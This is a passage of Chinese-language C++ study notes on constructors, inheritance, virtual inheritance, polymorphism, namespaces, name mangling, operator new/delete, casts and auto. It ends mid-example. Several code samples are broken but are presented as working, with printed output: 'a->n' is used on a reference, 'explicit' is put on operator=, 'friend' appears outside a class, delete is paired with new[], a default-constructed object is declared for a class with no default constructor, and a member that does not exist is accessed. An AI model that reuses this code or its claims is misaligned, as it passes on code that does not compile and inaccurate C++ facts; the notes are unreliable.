+ 1) 构造函数在生成对象时调用，分为默认构造函数，拷贝构造函数，移动构造函数，赋值构造函数和移动赋值构造函数。
+ 2) 在构造函数后面加*default*关键字可将某个构造函数设置成默认的构造函数，比如若果我们没有定义构造函数，编译器会帮助我们生成默认无参且函数体为空的默认构造函数；但如果我们定义了一个有参数的构造函数，编译器便不会帮助我们生成默认构造函数，此时我们不能够像这样定义对象*MyClass mc*，但是我们可以通过添加*default*关键字恢复：
`MyClass() = default;`
+ 3) 在构造函数后面加*delete*关键字可将某个构造函数设为禁用，比如我们不希望对象进行拷贝构造而希望其进行移动构造这样能避免不必要的内存分配和拷贝，这样我们可在拷贝构造函数和赋值拷贝构造函数后面添加*delete*关键字。
+ 4） 在一个类的构造函数若只有一个入参时，将这个入参类型的对象赋值给该类产生的对象会产生隐式转换，这时候可能不是我们想要的结果。我们希望能早早地在编译阶段就发现这些问题，这时候我们可以将对应的构造函数声明为*explicit*，这样编译器在静态检查阶段便能发现问题。
+ 5） 当父类的析构函数不声明成虚析构函数的时候，子类继承父类，父类的指针指向子类时，delete掉父类的指针，只调动父类的析构函数，而不调动子类的析构函数。
+ 6） 当父类的析构函数声明成虚析构函数的时候，当子类继承父类，父类的指针指向子类时，delete掉父类的指针，先调动子类的析构函数，再调动父类的析构函数。 所以如果一个类会被继承，一定要将析构函数声明为虚函数，否则容易导致内存泄漏。
```cpp
class A
{
public:
A(int x):x(x)
{
n = new int[x];
cout << "A default construction" << endl;
}
A(A &a)
{
this->x = a.x;
this->n = new int[x];
memcpy(this->n, a.n, x * sizeof(typeid(n)));
cout << "A copy construction" << endl;
}
A(A &&a)
{
this->x = a.x;
this->n = a.n;
a->n = nullptr;
cout << "A move construction" << endl;
}
explicit A& operator=(A &a)
{
this->x = a.x;
this->n = new int[x];
memcpy(this->n, a.n, x * sizeof(typeid(n)));
cout << "A copy assignment construction" << endl;
return *this;
}
explicit A& operator=(A &&a)
{
this->x = a.x;
this->n = a.n;
a->n = nullptr;
cout << "A move assignment construction" << endl;
return *this;
}
virtual void foo() {}
~A()
{
if (this->n != nullptr) {
delete this->n;
this->n = nullptr;
}
cout << "A destruction" << endl;
}
private:
int x = 0;
int *n;
};
A test()
{
A a(1);
return a;
}
A a = 10;//error，不能进行隐式转换
/*
A default construction
A move construction
A destruction
A move assignment construction
//若移动赋值构造函数返回值而非引用，这里会多一个拷贝构造函数和析构
A destruction
A destruction
*/
A a1;
a1 = test();
```
+ 1) 默认构造函数为编译器为我们默认生成的构造函数，实际上没有任何操作。
+ 2) 拷贝构造函数传入形参为对象的引用，声明对象时进行赋值或隐式赋值会调用拷贝构造函数
+ 3) 移动构造函数传入形参为对象的右值引用，将赋值对象使用*move*函数强转成右值引用之后再进行如同拷贝构造函数的调用方式时会调用移动构造函数。
+ 4) 函数返回对象会先将局部对象赋给一个临时变量，由于函数返回值为右值，所以此时调用的是移动构造函数，等局部变量析构后再将临时对象赋给函数外的对象，此时仍然是移动构造函数，最后再将临时对象析构。当然编译器一般会有返回值优化，这样就不会产生临时变量。
+ 5) 析构函数只能有一个，在对象到达生命周期时会自动调用，比如局部对象在函数结束时，对象指针被*delete*时。通过这种特性我们可以实现*RAII(resource acquisition is initialization)*，比如*c++11*中的*lock_guard*:
```cpp
template <class Mutex> class lock_guard {
private:
Mutex& mutex_;
public:
lock_guard(Mutex& mutex) : mutex_(mutex) { mutex_.lock(); }
~lock_guard() { mutex_.unlock(); }
lock_guard(lock_guard const&) = delete;
lock_guard& operator=(lock_guard const&) = delete;
};
```
### 6.3.1 列表初始化
列表初始化成员变量的顺序跟成员变量声明的顺序一致。
### 6.3.2 返回值优化(*RVO*)
> https://www.ibm.com/developerworks/community/blogs/5894415f-be62-4bc0-81c5-3956e82276f3/entry/RVO_V_S_std_move?lang=en
### 6.3.3 特殊函数调用虚函数
因为基类构造器是在派生类之前执行的，所以在基类构造器运行的时候派生类的数据成员还没有被初始化。如果在基类的构造过程中对虚函数的调用传递到了派生类，派生类对象当然可以参照引用局部的数据成员，但是这些数据成员其时尚未被初始化。析构函数同理，当调用父类析构函数时子类已经完成析构，若在父类析构函数中调用虚函数进入子类访问成员变量同样是一些未初始化的值。所以这两种情况下调用虚函数都不会有多态。
## 6.4 类的静态成员函数和变量
+ 1) 静态成员函数不能直接访问非静态成员变量，可以以传入对象的方式间接访问，并且可以访问类的私有成员变量。
+ 2) 非静态成员函数可以调用静态成员变量，因为静态成员变量属于整个类而非某个特定的对象，所有对象都共享该变量，在对象产生之前就有了，存储在全局静态存储区。
+ 3) 使用静态成员变量实现多个对象之间的数据共享不会破坏隐藏的原则，保证了安全性还能节省内存。
+ 4) 静态成员变量使用之前必须初始化（如`int MyClass::m_Number = 0;`，但是不能在头文件中初始化，否则会重复定义，链接会出错）。
+ 5) 静态成员函数属于整个类，所以不需要生成对象就可以调用，不需要传入this指针，所以也不能声明为虚函数。
## 6.5 友元
+ 1) 友元函数是可以直接访问类的私有成员的非成员函数。它是定义在类外的普通函数，它不属于任何类，但需要在类的定义中加以声明，声明时只需在友元的名称前加上关键字*friend*。友元函数能访问对象的私有成员的意思是在友元函数内，对象可以直接访问私有成员变量而不需要通过成员函数，而不是友元函数可以直接访问成员变量，和静态成员函数一样：
```cpp
class Derive
{
public:
friend void FriendFunc(Derive d);
private:
int a = 10;
};
friend void FriendFunc(Derive d)
{
cout << "Derive's friend func" << d.a << endl;
}
int main()
{
Derive *d = new Derive();
FriendFunc(*d);
delete d;
return 0;
}
```
+ 2) 友元函数的声明可以放在类的私有部分，也可以放在公有部分，它们是没有区别的，都说明是该类的一个友元函数。
+ 3) 一个函数可以是多个类的友元函数，只需要在各个类中分别声明。
+ 4) 友元函数的调用与一般函数的调用方式和原理一致。
+ 5) 友元类的所有成员函数都是另一个类的友元函数，都可以访问另一个类中的隐藏信息（包括私有成员和保护成员）。
+ 6) 当希望一个类可以存取另一个类的私有成员时，可以将该类声明为另一类的友元类。
```cpp
class A
{
public:
friend class B;
};
```
* 7) 友元函数的存在相当于外部可以直接访问私有成员，所以算是破坏了类的封装性。
## 6.6 操作符重载
+ 1) 在类中声明的成员函数操作符重载只能被成员触发，所以对于双目运算符来说只能是运算符左边的对象来触发运算符重载。假如说我们希望实现`primitive_type operator object;`这种模式，我们只能用普通函数重载运算符而不是成员函数重载运算符：
```cpp
class Register{
public:
Register& operator+(Register &b) {
this->regVal+= b.regVal;
return *this;
}
friend Register& operator+(int a, Register &b) {
b.regId += a;
return b;
}
int regVal;
};
```
+ 2) 使用*ostream*对象进行*<<*操作只能定义为普通函数或者友元函数，因为无法修改*ostream*对象的*<<*代码实现，此时需要传入两个参数：
```cpp
ostream& operator << (ostream& os, Test & test)
{
os << test.a;
return os;
}
```
* 3) 不能被重载的操作符有：
* . (成员访问或点操作符)
* ?: (三元操作符或条件操作符)
* :: (域操作符)
* .* (指向成员的指针操作符)
* sizeof(取对象大小操作符)
* typeid(对象类型操作符)
## 6.7 基类
## 6.8 派生类
派生类构造的时候首先会调用基类的构造函数，但最终他们都是在同一块内存调用的构造函数，意思就是他们的this指针都是一块。
所以派生类的构造顺序是：
* 1、分配内存（父类加子类需要的空间）
* 2、基类构造
* 1、初始化父类虚表指针
* 2、父类列表初始化
* 3、执行构造函数体
* 3、初始化子类虚表指针
* 4、子类列表初始化
* 5、执行子类构造函数体
* 6、调用子类析构函数，在子类析构函数的最后调用子类成员变量的析构函数
* 7、调用父类的析构函数，在父类析构函数的最后调用父类成员变量的析构函数
* 8、释放内存
通过下面这个用例我们能很容易看到类的构造顺序：
```cpp
class A1 {
public:
A1()
{
cout << "A1 construct" << endl;
}
~A1()
{
cout << "A1 destructor" << endl;
}
};
class A {
public:
A() {
cout << "A constructor" << endl;
func();
}
virtual ~A()
{
cout << "A destructor" << endl;
}
virtual void func()
{
cout << "call A func" << endl;
}
void *operator new(size_t size)//默认静态
{
cout << "call member operator new" << endl;
void * a = ::operator new(size);
return a;
}
void operator delete(void *ptr)//默认静态
{
cout << "call member operator delete" << endl;
::operator delete(ptr);
return;
}
A1 a1;
};
class B :public A
{
public:
B() {
cout << "B constructor" << endl;
func();
}
private:
virtual void func()
{
cout << "call B func" << endl;
}
public:
virtual ~B()
{
cout << "B destructor" << endl;
}
};
A *a = new B;
delete a;
/*
call member operator new
A1 construct
A constructor
call A func
B constructor
call B func
B destructor
A destructor
A1 destructor
call member operator delete
*/
```
若子类声明跟父类同名的函数则父类的成员函数会对子类隐藏，不能直接调用，除非使用域名空间或者父类指针进行调用：
```cpp
class Base {
public:
void func1() {
cout << "Base func1" << endl;
}
};
class Derive : public Base
{
public:
void func1(int a) {
cout << "Derive func1" << endl;
}
private:
int a = 10;
};
Derive *d = new Derive();
d->Base::func1();
static_cast<Base*>(d)->func1();
delete d;
```
若派生类和基类拥有同名的成员变量则他们会同时存在于内存中，都会占用内存。因为他们属于不同的命名空间最终编译后的符号肯定不会是一样的，所以不会导致重复定义符号的问题。那么我们要怎么访问父类的同名变量呢，通过域名空间访问：
```cpp
class Base {
public:
Base(int a) { this->a = a; }
int a;
};
class Base1 : public Base{
public:
Base1(int a):Base(a + 1) { this->a = a; }
int a;
};
class Base2 : public Base1{
public:
Base2(int a):Base1(a + 2) { this->a = a; }
int a;
};
Base2 b(1);
cout << b.a << endl;// 1
cout << b.Base1::a << endl;// 3
cout << b.Base::a << endl;// 4
cout << sizeof(b) << endl;// 12
```
如果父类成员变量是私有成员需要同名成员函数来访问我们也可能将子类强转成父类来对同名成员函数进行访问，这个我们在5.8函数重载章节有过介绍。
### 6.8.1 虚继承
在6.2章节中我们介绍了菱形继承的内存排布，对于菱形继承来说孙子类会有两个爷爷类的成员变量副本，但此时我们并不需要两个副本，这时候我们就需要虚继承。虚继承是在多个父类继承爷爷类的时候采用虚继承，这时候孙子类通过菱形继承爷爷类也只会有一份成员变量的副本，而进行虚继承的多个父类每一个都会增加一个虚基类指针。
假设此时孙子类多继承的时候第一个父类没有进行虚继承，则爷爷类此时仍然会有多个副本，但是如果第一个父类是虚继承，无论后面的父类是否是虚继承子类中每个父类都会有虚基类指针，但是如果没有虚继承则会有多个爷爷类的成员变量副本。
```cpp
class Base
{
public:
//virtual void func(){}
int a;
};
class Derive :virtual public Base
{
public:
};
class Derive1 :virtual public Base
{
public:
};
class GrandSon :public Derive, public Derive1
{
public:
};
GrandSon g;
Derive d;
Derive1 d1;
sizeof(g);//12
sizeof(d);//8
sizeof(d1);//8
/********************************************/
class Base
{
public:
//virtual void func(){}
int a;
};
class Derive :virtual public Base
{
public:
};
class Derive1 :public Base
{
public:
};
class GrandSon :public Derive, public Derive1
{
public:
};
GrandSon g;//此时虚继承没有生效，有两份爷爷类成员变量副本
Derive d;
Derive1 d1;
sizeof(g);//12，两个虚基类指针
sizeof(d);//8
sizeof(d1);//4
/********************************************/
class Base
{
public:
//virtual void func(){}
int a;
};
class Derive :public Base
{
public:
};
class Derive1 :virtual public Base
{
public:
};
class GrandSon :public Derive, public Derive1
{
public:
};
GrandSon g;
Derive d;
Derive1 d1;
sizeof(g);//8，一个虚基类指针
sizeof(d);//4
sizeof(d1);//8
```
## 6.9 多态机制
+ 1）多态通过虚函数来实现，在运行时根据基类指针指向的具体子类调用特定被*override*的函数，具体虚函数表原理可查看*6.2*章节。
+ 2）虚函数的要求是，函数原型相同，函数原型包括：函数返回值、函数名、参数列表、const修饰符。这里const修饰符包括函数返回值的修饰，函数形参的修饰，函数本身的修饰。只要有一处const没有对上 ，那么就不是虚函数的重载，而是发生了同名覆盖现象。
+ 3）若子类在需要重写的虚函数结尾加了*override*关键字则该函数一定是父类中存在可被重写的虚函数，否则在编译时会报错。
+ 4）当父类声明某一函数为virtual之后子类同名函数会默认加上virtual。因此，在子类重新声明该虚函数时，可以加virtual，也可以不加virtual，但习惯上每一层声明函数时都加virtual,使程序更加清晰。
+ 5）多态和重载的区别在于多态通过虚函数表运行时选择调用函数，而重载根据参数不同在编译时就决定好了调用的函数。所以父类的析构函数一定要定义成虚函数，否则在父类指针指向子类对象时，父类指针调用析构函数只会调用父类析构函数而不会先调用子类析构函数。
### 6.9.1 静态编联和动态编联
多态机制是动态编联，在运行中在决定，而类似于重载，访问控制这些都属于静态的，在编译时决定的。我们只要掌握这些C++的一些特性属于运行时的还是编译时的就很好理解某些现象，运行时需要思考该对象当时的内存排布，而编译时主要看语法。比如说：
* 虚函数带默认参数
* 父类指针调用子类私有虚函数，父类该函数不是私有
* 虚函数中访问this指针，在构造函数内部调用虚函数可以证明虚函数表是在构造函数调用之前初始化完成
* 模板成员函数是在编译时展开的，有多少种调用类型就需要有多少个模板成员函数，所以C++中规定模板成员函数不能为虚函数
> Member function templates cannot be declared virtual. This constraint is imposed because the usual implementation of the virtual function call mechanism uses a fixed-size table with one entry per virtual function. However, the number of instantiations of a member function template is not fixed until the entire program has been translated. Hence, supporting virtual member function templates would require support for a whole new kind of mechanism in C++ compilers and linkers. In contrast, the ordinary members of class templates can be virtual because their number is fixed when a class is instantiated
> reference: https://zhuanlan.zhihu.com/p/41309205 C++中虚函数、虚继承内存模型
## 6.10 派生类的构造函数
+ 1) 当创建一个派生类对象时，派生类的构造函数必须首先通过调用基类的构造函数来对基类的数据成员进行初始化，然后再执行派生类构造函数的函数体，对派生类新增的数据成员进行初始化。当派生类对象的生存期结束时，析构函数的调用顺序相反。
+ 2) 派生类构造函数调用基类构造函数
隐式调用：不指定基类的构造函数，默认调用基类默认构造函数（不带参数或者带默认参数值的构造函数）
显式调用：指定调用基类的某个构造函数。除非基类有默认构造函数，否则都要用显示调用。
<派生类名>::<派生类名>(<形参声明>) : <基类名>(<参数表>)
{
<派生类构造函数的函数体>
}
* 3) 派生类的复制/移动构造函数也必须要调用通过父类的复制/移动构造函数来复制/移动父类的成员变量，派生类只能通过列表的方式类调用父类的复制/移动构造函数。所以对于派生类的移动构造函数需要传入对象的右值引用进行std::move来触发父类的移动构造函数转移父类的成员。需要使用std::move的原因可以参考章节12.1.1，所有类型的函数的形参都是左值。
* 4) 除了父类的无参数或者带默认参数值得构造函数会被自动调用外，其他的比如有参数构造函数，复制构造函数，移动构造函数都需要显示调用，否则父类的成员变量可能会没有进行初始化。
## 6.11 抽象类
抽象类即为声明了纯虚函数的类，这种类不能实例化为对象，继承这种类的派生类需要实现对应的纯虚函数才能够进行实例化，否在在编译时会报错。通过这种方式可以提供一个单纯只提供接口的父类，而不需要对对应的接口进行某种特定的实现。
`virtual void MyFunc() = 0;`
抽象类的纯虚函数的实现可以由自身给出，也可以由派生类给出。
* 若没有由自身给出，在特殊函数中不能调用该纯虚函数，若调用相当于调用了一个只是声明了的函数，这样会在链接的时候找不到符号
* 若由自身给出，自身在特殊函数中能调用该纯虚函数（此时构造派生类时会调用抽象父类的构造函数并调用该纯虚函数），在派生类也可通过静态调用的方式调用父类的抽象接口：
```cpp
class Base
{
public:
Base()
{
func();
}
virtual void func() = 0
{
cout << "Base func" << endl;
}
};
class Derived :public Base
{
public:
void func()
{
cout << "Derived func" << endl;
}
};
Base *b = new Derived();//Base func
b->Base::func();//Base func
b->func();//Derived func
```
# 7. 命名空间
`namespace`分为有名命名空间和无名命名空间，无名的由于没有名字所以其他文件无法引用，相当于该文件里面的`static`。`namespace`中的变量或者函数通过作用域符进行访问：
```cpp
namespace MyNamespace{
int value = 10;
void MyFunc(int value){
cout<<”value:”<<value<<endl;
}
}
MyNamespace::MyFunc(MyNamespace::value);
```
若作用域符前面没有任何`namespace`或者类名，则表示访问的是全局变量（包括无名命名空间）。但这个规则不适用于*C++98*风格的枚举型别中定义的枚举量。这些枚举量的名字属于包含着这个枚举型别的作用域，这就意味着在此作用域内不能有其他实体取相同的名字。
若一个命名空间内部新定义了一个命名空间，则新定义的命名空间内部无法直接访问外部命名空间内的成员，除非指明作用域：
```cpp
namespace IBM
{
int myfunc(int a)
{
cout << "IBM func" << endl;
return 0;
}
namespace SUN
{
int myfunc(double b)
{
int a = 10;
myfunc(a);//调用的是myfunc(double b)
IBM::myfunc(a);//这样即可调用myfunc(int a)
cout << "SUN func" << endl;
return 0;
}
}
}
```
## 7.1 命名空间使用方法
* 1） *using declarations*
```cpp
using std::cout;
using std::endl;
```
这样的方式就是using declarations。
我们可以这样简单地理解using declarations方式就是每次只引入一个命名空间成员，形式是 using namespace_name::member_name。使用using declarations方式的name的作用域从using declarations开始一直到当前作用域结束，都是可见的（用上面的例子来解释就是，cout这种缩写形式从using std::cout一直到main函数结束都是可用的）。而且它像普通变量和函数那样，如果在当前作用域中存在相同名称的实体，定义在外层的实体会被屏蔽，定义在本层的实体会和using进来的实体发生重复定义（**就是说引入的命名会覆盖全局变量，会和局部变量发生重复定义**）。这种方式在类中也可以使用，子类如果隐藏了父类的同名成员函数使用`using FatherClass::func;`可在子类中有所有该父类成员函数重载类型的访问权。
* 2） *namespace aliases*
```cpp
namespace cplusplus_primer { /* ... */ }
namespace primer = cplusplus_primer;
```
该方法给命名空间取别名。
* 3） *using directives*
这种方法就是使用整个命名空间：
```cpp
using namespace std;
```
虽然using directives方式对于编程者而言，似乎使用起来更加方便（只要在全局变量中使用using namespace namespace_name,之后该命名空间下的所有命名都可以使用简写形式），但是我们最好不要那么做。因为当我们引用多个库时，采用using directives的方式，又会重新引起命名冲突问题，那么命名空间也就失去了它最初的作用。
另外，using directive可以出现命名空间，函数和块中，但不能出现在类中，**其并不会覆盖同名局部变量，并且会和全局变量发生引用不明确的编译错误**。并且using directive还具有传递性：
```cpp
#include <string>
#include <iostream>
namespace A {
using namespace std;
}
namespace B {
using namespace A;
}
namespace C {
using namespace B;
string a;
}
int main()
{
C::a = "X";
std::cout << C::a;//std在C中也生效了
return 0;
}
```
> `[C++14: 7.3.4/4]:` For unqualified lookup (3.4.1), **the *using-directive* is transitive**: if a scope contains a *using-directive* that nominates a second namespace that itself contains *using-directives*, the effect is as if the using-directives from the second namespace also appeared in the first. *[..]*
## 7.2 限定作用域枚举类型
先说一个通用规则，如果在一对大括号里声明一个名字，则该名字的可见性就被限定在括号括起来的作用于内。
```cpp
enum Color { black, white, red};
auto white = false;// 错误！因为 white在这个定义域已经被声明过，但是如果Color如果定义的全局枚举类便不会出现重复定义
```
事实就是枚举元素泄露到包含它的枚举类型所在的作用域中，对于这种类型的`enum`官方称作无作用域的（`unscoped`）。在`C++11`中对应的使用作用域的enums（`scoped enums`）不会造成这种泄露：
```cpp
enum class Color { black, white, red}; // black, white, red作用域为 Color
auto white = false; // fine, 在这个作用域内没有其他的 "white"
Color c = white; // 错误！在这个定义域中没有叫"white"的枚举元素
Color c = Color::white; // fine
auto c = Color::white; // 同样没有问题（和条款5的建议项吻合）
```
普通的枚举其实可以看成一个int类型，可以跟进行加减，并且就算超过枚举类型的值也不会报错。对于这种枚举类型我们其实可以把他看成一个类，具有很多的限制，但是对于开发人员来说能在早起发现问题。
# 8. Name Mangling
*name mangling*的目的就是为了给重载的函数，不同作用域的变量或者函数不同的签名，以避免调用时的二义性调用。如果希望*C++*编译出来的代码不要被*mangling*，可以使用*extern "C" {}*来讲目标代码包含起来，这样能使得*C++*编译器编译出的二进制目标代码中的链接符号是未经过*C++*名字修饰过的，就像*C*编译器一样。
如果想将*mangling*的符号恢复成可读的，可以使用*linux*下的*c++filt*。
如下有一些编译器*mangling*的例子：
| 编译器 | `void h(int)` | `void h(int, char)` | `void h(void)` |
| :----------------------------------------------------------: | :-------------------: | :--------------------: | :-------------------: |
| Intel C++ 8.0 for Linux | `_Z1hi` | `_Z1hic` | `_Z1hv` |
| HP aC++ A.05.55 IA-64 | `_Z1hi` | `_Z1hic` | `_Z1hv` |
| IAR EWARM C++ 5.4 ARM | `_Z1hi` | `_Z1hic` | `_Z1hv` |
| GCC 3.*x* and 4.*x* | `_Z1hi` | `_Z1hic` | `_Z1hv` |
| [GCC](https://zh.wikipedia.org/wiki/GNU_Compiler_Collection) 2.9*x* | `h__Fi` | `h__Fic` | `h__Fv` |
| HP aC++ A.03.45 PA-RISC | `h__Fi` | `h__Fic` | `h__Fv` |
| [Microsoft Visual C++](https://zh.wikipedia.org/wiki/Microsoft_Visual_C%2B%2B) v6-v10 | `?h@@YAXH@Z` | `?h@@YAXHD@Z` | `?h@@YAXXZ` |
| [Digital Mars](https://zh.wikipedia.org/w/index.php?title=Digital_Mars&action=edit&redlink=1) C++ | `?h@@YAXH@Z` | `?h@@YAXHD@Z` | `?h@@YAXXZ` |
| Borland C++ v3.1 | `@h$qi` | `@h$qizc` | `@h$qv` |
| OpenVMS C++ V6.5 （ARM模式） | `H__XI` | `H__XIC` | `H__XV` |
| OpenVMS C++ V6.5 （ANSI模式） | `CXX$__7H__FI0ARG51T` | `CXX$__7H__FIC26CDH77` | `CXX$__7H__FV2CB06E8` |
| OpenVMS C++ X7.1 IA-64 | `CXX$_Z1HI2DSQ26A` | `CXX$_Z1HIC2NP3LI4` | `CXX$_Z1HV0BCA19V` |
| SunPro CC | `__1cBh6Fi_v_` | `__1cBh6Fic_v_` | `__1cBh6F_v_` |
| Tru64 C++ V6.5 （ARM模式） | `h__Xi` | `h__Xic` | `h__Xv` |
| Tru64 C++ V6.5 （ANSI模式） | `__7h__Fi` | `__7h__Fic` | `__7h__Fv` |
| Watcom C++ 10.6 | `W?h$n(i)v` | `W?h$n(ia)v` | `W?h$n()v` |
# 9. 内存管理接口
## 9.1 C内存管理接口
### 9.1.1 malloc
### 9.1.2 realloc
### 9.1.3 kmalloc
### 9.1.4 vmalloc
## 9.2 C++内存管理接口
### 9.2.1 *new*
*new operator*：指我们在C++里通常用到的关键字，比如`A* a = new A;`
*operator new*：它是一个操作符，并且可被重载(类似加减乘除的操作符重载)，可重载全局operator new也可以重载成员函数operator new。
当我们调用*new operator*时会调用*operator new*来分配内存，其中会调用*malloc*函数，接着会在分配内存上调用对象的构造函数，最后再返回这个指针。但是*operator new*却不一定在会调用*malloc*函数，我们可以通过*operator new*在指定内存上面调用构造函数，该地址可以是堆也可以是栈，比如我希望在其中一个构造函数内调用另外一个构造函数：
```cpp
class A
{
public:
A(int x):x(x){}
A(A &a)
{
//A(a.x);//这样调用返回的是一个临时A，我们需要在调用A(A &a)这个构造函数作用域的地方还能维持该内存，所以我们需要像下面这样调用
new (this) A(a.x);//this对于外面作用域是持续的，所以可以在this这个地址调用构造函数
}
private:
int x;
};
```
关于这两者的关系，我找到一段比较经典的描述（来自于www.cplusplus.com 见参考文献：
> operator new can be called explicitly as a regular function, but in C++, new is an operator with a very specific behavior: An expression with the new operator, first calls function operator new (i.e., this function) with the size of its type specifier as first argument, and if this is successful, it then automatically initializes or constructs the object (if needed). Finally, the expression evaluates as a pointer to the appropriate type.
通过重载这两个运算符（不论是全局重载还是成员函数重载，成员函数重载会默认为static的，不论有没有加static）我们可以记录内存分配删除信息来构建内存池，或者添加一些打印信息的功能。
```cpp
#include <iostream>
using std::cout;
using std::endl;
#define MEMBER_NEW
void* operator new(size_t size, const char *file, unsigned int line) {
cout << "file:" << file << " line:" << line << " size:" << size << " Call ::operator new" << endl;
void* tmp = malloc(size);
return tmp;
}
void operator delete(void *ptr, const char *file, unsigned int line) {
cout << "Call ::operator delete" << endl;
free(ptr);
}
class A {
public:
A() {
cout << "A constructor" << endl;
}
~A()
{
cout << "A destructor" << endl;
}
#ifdef MEMBER_NEW
void *operator new(size_t size)
{
cout << "call member operator new" << endl;
void * a = ::operator new(size);
return a;
}
void operator delete(void *ptr)
{
cout << "call member operator delete" << endl;
::operator delete(ptr);
return;
}
#endif
private:
int a[20];
};
//#define new new(__FILE__,__LINE__)
int main()
{
#ifndef MEMBER_NEW
#ifndef new
char *c = reinterpret_cast<char*>(operator new(sizeof(A), __FILE__, __LINE__));
A *a = new(c) A;//在地址c上调用A的构造函数，返回指向对象a的指针，不一定是c的首地址
a->~A();
operator delete(c);//由于在c上调用A构造函数返回的对象指针可能不是c的首地址，所以我们需要手动析构a并且手动释放c
A *b = new(__FILE__, __LINE__) A;//这么写会调用重载的operator new 再调用A的构造函数
delete b;
#else
A *b = new A;//内部调用全局重载的operator new
delete b;
#endif
#else
A *b = new A;//内部调用成员函数重载的operator new
delete b;
#endif
return 0;
}
```
new或者malloc出来的数组根据编译器的不同会把其大小存放在某个特定的内存，比如说VS2017中存放在了分配地址的前4个字节中，我们可以这么获得其大小：
```cpp
int *a = new int[125];
cout << *((int*)a - 1) << endl;//打印125
```
linux下我们可以通过函数malloc_usable_size来获得普通类型数组的大小，如果是类则会得到0，可能需要其他方式得到，这些都是编译器的特性，千万不能再实际产品中使用这种危险的方式获得数组的大小。
### 9.3.2 *delete*
delete和new一样也分为delete operator和operator delete，operator delete 一样可以进行重载，在这里我们不多介绍。只说一个delete和delete[]的区别：
若指针为非基本类型，delete只会为指针的第一个元素调用析构函数，而delete[]会为每一个对象调用析构函数；若指针未基本类型则不用delete[]也能正常将指针释放。
另外delete operator一个空指针是不会报错的，其内部应该会做相应的判断，因为如果指针未空delete operator内部并没有调用operator delete。
# 10. 类型转换
*C++*同样支持*C*风格的强制转换(*Type Cast*):`TypeName b = (TypeName)a;`
*C++*的四种类型转换：
* 1.*const_cast*
* 常量指针被转化成非常量的指针，并且仍然指向原来的对象
* 常量引用被转换成非常量的引用，并且仍然指向原来的对象
* 常量指针是指向常量的指针，指指针指向的内容不能改变，声明为`const int *p;`或者`int const *p`;
* 指针常量是指针的值为常量，指指针指向的地址不能改变，声明为`int * const p = &a;`
* 2.*static_cast*
* *static_cast* 作用和C语言风格强制转换的效果基本一样，由于没有运行时类型检查来保证转换的安全性，所以这类型的强制转换和C语言风格的强制转换都有安全隐患。
* 用于类层次结构中基类（父类）和派生类（子类）之间指针或引用的转换。注意：进行上行转换（把派生类的指针或引用转换成基类表示）是安全的；进行下行转换（把基类指针或引用转换成派生类表示）时，由于没有动态类型检查，所以是不安全的。
* 用于基本数据类型之间的转换，如把*int*转换成*char*，把*int*转换成*enum*。这种转换的安全性需要开发者来维护。
* *static_cast*不能转换掉原有类型的*const*，*volatile*、或者 *__unaligned*属性。(前两种可以使用*const_cast* 来去除)
* 在*c++ primer*中说道：*C++* 的任何的隐式转换都是使用 *static_cast* 来实现。
* 3.*dynamic_cast*
* 该转换涉及面向对象的多态性和程序运行时的状态,也与编译器的属性设置有关.所以不能完全使用C语言的强制转换替代
* 转换时会对*RTTI*(*runtime type information*)进行检查，由于需要*RTTI*，所以需要有虚函数表，否则会编译错误（即dynamic_cast的操作数必须包含多态类类型），所以需要有虚函数。子类指针或引用转成父类指针或引用是安全的。对于父类转成子类，若父类指针或引用确实指向一个子类对象则转换成功，若没有则返回*nullptr*。
*typeid*运算符也是读取*RTTI*的机制，同样需要有虚函数才能在运行时读取正确的类型，否则将是静态类型。在生成虚表之后上面会挂一个*type_info*结构体，通过这个结构体父类指针在运行时可以读取出相关的信息进行判断。
```cpp
struct Base {}; // non-polymorphic
struct Derived : Base {};
struct Base2 { virtual void foo() {} }; // polymorphic
struct Derived2 : Base2 {};
Derived d1;
Base& b1 = d1;
std::cout << "reference to non-polymorphic base: " << typeid(b1).name() << '\n';
//打印Base
Derived2 d2;
Base2& b2 = d2;
std::cout << "reference to polymorphic base: " << typeid(b2).name() << '\n';
//打印Derived2
```
而*sizeof*运算符则是在编译时求值，只关心静态声明的类型，不过也可以有运行时的语义，当*sizeof*的参数是[Variable-Length Array](https://link.zhihu.com/?target=https%3A//en.wikipedia.org/wiki/Variable-length_array)时。
> a) If expression is a [glvalue expression](https://link.zhihu.com/?target=http%3A//en.cppreference.com/w/cpp/language/value_category) that identifies an object of a polymorphic type (that is, a class that declares or inherits at least one [virtual function](https://link.zhihu.com/?target=http%3A//en.cppreference.com/w/cpp/language/virtual)), the typeid expression evaluates the expression and then refers to the [std::type_info](https://link.zhihu.com/?target=http%3A//en.cppreference.com/w/cpp/types/type_info) object that represents the dynamic type of the expression. If the glvalue expression is obtained by applying the unary * operator to a pointer and the pointer is a null pointer value, an exception of type [std::bad_typeid](https://link.zhihu.com/?target=http%3A//en.cppreference.com/w/cpp/types/bad_typeid) or a type derived from [std::bad_typeid](https://link.zhihu.com/?target=http%3A//en.cppreference.com/w/cpp/types/bad_typeid) is thrown.
* 4.*reinterpret_cast*
* *reinterpret_cast*是强制类型转换符用来处理无关指针（引用）类型转换的，通常为操作数的位模式提供较低层次的重新解释。但是他仅仅是重新解释了给出的对象的比特模型，并没有进行二进制的转换。他是用在任意的指针之间的转换，引用之间的转换，指针和足够大的*int*型之间的转换，整数到指针的转换。
```cpp
float d = 12.5;
int a = reinterpret_cast<int&>(d);
float c = reinterpret_cast<float&>(a);
float* b;
b = (float*)(&a);
printf("b:%f\n", *b);//12.5000
printf("%x\n", *(long long*)&a);//41480000
printf("%x\n", *(long long*)b);//41480000
printf("c:%f\n", c);//12.5000
```
# 11. 异常机制
在typedef语句中不能有异常规格声明。
虽然可以在构造函数中抛出异常，但应禁止在析构函数中抛出异常。
throw e是只抛出此类异常，而throw则是抛出所有异常
# 12. *auto*
* 对于*auto*而言，其意义在于*type deduce*，所以它不会允许没有初始化的声明，这样对于开发者来说是一个很好的习惯；
* 另外一个意义是简化代码，尤其是经常使用容器迭代器初始化；
* 如果想保存*lambda*表达式，不需要自己推导一个函数指针或者*function*类型变量，直接使用*auto*即可；
```cpp
auto closure = [](const int&, const int&) {}
```
* 在*C++14*的泛型*lambda*表达式中，我们还可以将参数定义成*auto*类型（函数形参不行），通过这个我们可以实现*ChurchNumber*，后续在13章作介绍；
``` cpp
auto closure = [](auto x, auto y) { return x * y;}
```
* 在*C++1X*中，配合*decltype*可以解决原来难以让编译器自动推导模板函数返回值的问题，原来我们需要先转换成万能的0，再转成指针，最后再取指针：
```cpp
template<class T,class U>
decltype(*(T*)(0) * *(U*)(0)) mul(T x, U y)
